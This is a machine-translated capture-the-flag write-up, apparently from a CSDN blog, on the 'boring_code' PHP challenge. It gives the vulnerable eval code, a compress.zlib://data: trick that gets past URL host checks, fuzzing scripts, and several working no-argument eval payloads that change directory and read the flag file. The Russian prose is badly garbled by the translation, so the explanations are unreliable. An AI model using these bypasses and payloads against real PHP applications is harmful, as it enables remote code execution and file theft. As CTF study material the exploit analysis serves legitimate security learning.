Байт ЦКИ boring_code (пух, 无 参数 РСЕ)

0x01 отправил код

<?php
function is_valid_url($url) {
 if (filter_var($url, FILTER_VALIDATE_URL)) {
  if (preg_match('/data:\/\//i', $url)) {
   return false;
  }
  return true;
 }
 return false;
}

if (isset($_POST['url'])) {
 $url = $_POST['url'];
 if (is_valid_url($url)) {
  $r = parse_url($url);
  print_r($r);
  if (preg_match('/baidu\.com$/', $r['host'])) {
   echo "pass preg_match";
   $code = file_get_contents($url);
   print_r($code);
// 下面这个正则约束了只能是phpinfo();这样的形式
// 所以基本来说 php://input 是不行了
   if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
    if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
     echo 'bye~';
    } else {
     eval($code);
    }
   }
  } else {
   echo "error: host not allowed";
  }
 } else {
  echo "error: invalid url";
 }
} else {
 highlight_file(__FILE__);
}

Тема анализ 0x02

Во-первых, мы должны опубликовать URL, а хост конец baidu.com

Временное решение:

  • Криптон золото, купить доменное имя
  • Baidu 302 Перейти
    https://www.4xseo.com/marketing/1280/#title-0
  • Использование Baidu поиск, чтобы прыгать, но Baidu включал работу вашего веб-сайта
  • Использование Baidu сетевого диска Перейти
  • compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
О том, как обходной filter_var и parse_url

Ссылка Gangster статьи
ссылка

Как обойти filter_varи parse_url, в file_get_contentsслучае, может быть data://протокол псевдо обойти, для этой формы data://text/plain;base64,xxxxx, parse_urlбудет textиспользоваться в качестве host, и не чувствительны к MIME PHP, так data://baidu.com/plain;base64,xxxxxбыть в состоянии обойти, и file_get_contentsмогут быть считаны непосредственно в xxxxсодержание , Поскольку тема запретила начинать с данными, поэтому мы можем использоватьcompress.zlib
Here Вставка рисунка Описание

0x03 без параметров RCE

preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
Это единственное ограничение параметр a(b())в виде букв , а содержащие только
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
ограничивает количество функций, например, getallheaders(),session_id()как

Прежде всего то, что я первый под пухом, посмотрите на эти функции могут быть
<?
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) { 
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
print_r($i_need_func);
Поскольку функция внутреннего слоя не должна содержать параметры, так что мы можем понизить пушок, чтобы увидеть, какие функции могут быть использованы
<?php
#var_dump(gettype(get_defined_functions()));
#var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
try {
    for ($i=0; $i < count($i_need_func); $i++) {
    if($i_need_func[$i]=="mhash")
    	continue;
        if(!is_null($i_need_func[$i]())){
            echo $i_need_func[$i];
            var_dump($i_need_func[$i]());
        }
    }
} catch (\Throwable $th) {
}
  • localeconv()Она возвращает массив, и первый.
  • phpversion()Возвращает номер версии числа, мы можем использовать математические функции, составляют 46

Как подсказывает название , что flagродительский каталог, поэтому мы должны подумать о том , чтобы изменить текущий путь, поэтому мы должны построить , ..чтобы перейти в родительский каталог, начиная здесь также карты в течение длительного времени, но потом вдруг подумал , ls -aпосле того, как система не на себя с двумя точками, это не характеристика системы Ну, так что следует paylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
этот сценарий можно использовать математические функции + phpversion()возврат46

<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){

if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";	

}}}}}}}}
?>

Here Вставка рисунка Описание
Набор функций может быть легко получено 46

Хотя мы были в состоянии каталога прыгать, но как мы можем продолжать перечислять файлы родительского каталога это?

Функция chdir()возвращает логическое значение true || false, так что я по- прежнему fuzzвидеть эти функции передать boolто , что возвращается , когда значение да. До тех пор , как выше изменения кода его на линии, я не буду повторять их здесь

  • localtime(time(ture)) Возвращает массив, один из первой секунды, нам нужно только ждать в течение 46 секунд в минуту передает запрос на получение 46
  • hebrevc(crypt(ture))Возвращает строку, есть шанс для первой строки.
  • uniqid(true)Также возвращает строку и фиксировано, мы можем ord()взять первый код строки ascll и настроены таким же образом , используя математическую функцию 46
  • crypt(serialize(array()))Использование склеп возвращает зашифрованную строку, зашифрованы конец строки имеет шанс произойти.

полезная нагрузка

  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  • readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
  • if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

0x04 иначе резюме

Как видно из названия фильтра et, _поэтому мы не можем использовать много функций, но некоторые идеи стоит обучение, здесь блуждающие вожди опубликовали статью
ссылку

  • использованиеgetenv() + array_rand() + array_flip
  • использованиеgetallheaders()
  • использованиеsession_id + session_start() + hex2bin + bin2hex
  • использованиеget_defined_vars()
  • использованиеdirname() + chdir()
Опубликовано 47 оригинальных статей · вона похвала 2 · Просмотров 3134

рекомендация

отblog.csdn.net/a3320315/article/details/102989485